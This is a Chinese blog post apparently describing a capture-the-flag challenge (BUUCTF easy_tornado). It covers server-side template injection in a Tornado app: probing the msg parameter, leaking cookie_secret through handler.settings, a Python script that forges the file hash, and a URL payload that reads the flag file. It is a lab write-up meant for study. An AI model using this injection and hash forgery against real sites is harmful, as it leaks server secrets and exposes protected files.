【BUUCTF】---[护网杯 2018]easy_tornado---模板注入

一、思路

1、题目名字tornado

image
应该是python写的一个服务器框架,涉及到python多数都和模板注入有关。

2、进去题目,打开三个文件看一看

image
image
image
可以看到这里url中有文件名和对应的hash。
filehash是32位的,回顾hash函数,猜测是md5,并且hints里也提示了,计算公式应该是hints.txt中的公式。
如果filename和filehash一一对应,可以显示文件的内容。测试一下如果不对应会怎么显示:
image

3、cookie_secret

cookie_secret怎么获取呢?猜测是模板注入

二、模板注入

1、原理

参考:https://blog.csdn.net/weixin_42172261/article/details/106999825
image

2、测试模板注入

在上面观察到有两个参数值filename和filehash,如果不对应就返回一个错误页面,有一个参数msg,这里我们就利用msg来测试。
image
返回ORZ可能是迷惑信息,故意不让我们看到结果或者是过滤了。
image
如果换成一个数字即显示。

3、获取cookie_secret

在tornado框架中存在附属文件handler.settings,尝试获取查看这个文件。
image
返回值当中有cookie_secret。

三、解题

1、边写脚本计算filehash

#coding:utf-8
import hashlib


def md5(s):
    md5 = hashlib.md5()
    md5.update(s.encode("utf8"))
    return md5.hexdigest()


def filehash():
    filename = '/fllllllllllllag'
    cookie_secret = '86453dc7-a1f0-4636-b0c8-bfd7ed05aa03'
    print(md5(cookie_secret + md5(filename)))


if __name__ == '__main__':
    filehash()

得到hash值:

1e6b8bba4b46784c816eb8eb631852d7

2、在正确的页面填写两个参数读取flag文件

payload:
file?filename=/fllllllllllllag&filehash=1e6b8bba4b46784c816eb8eb631852d7

得到flag
image

posted @ 2021-07-13 10:37  DarkerG  阅读(136)  评论(0编辑  收藏  举报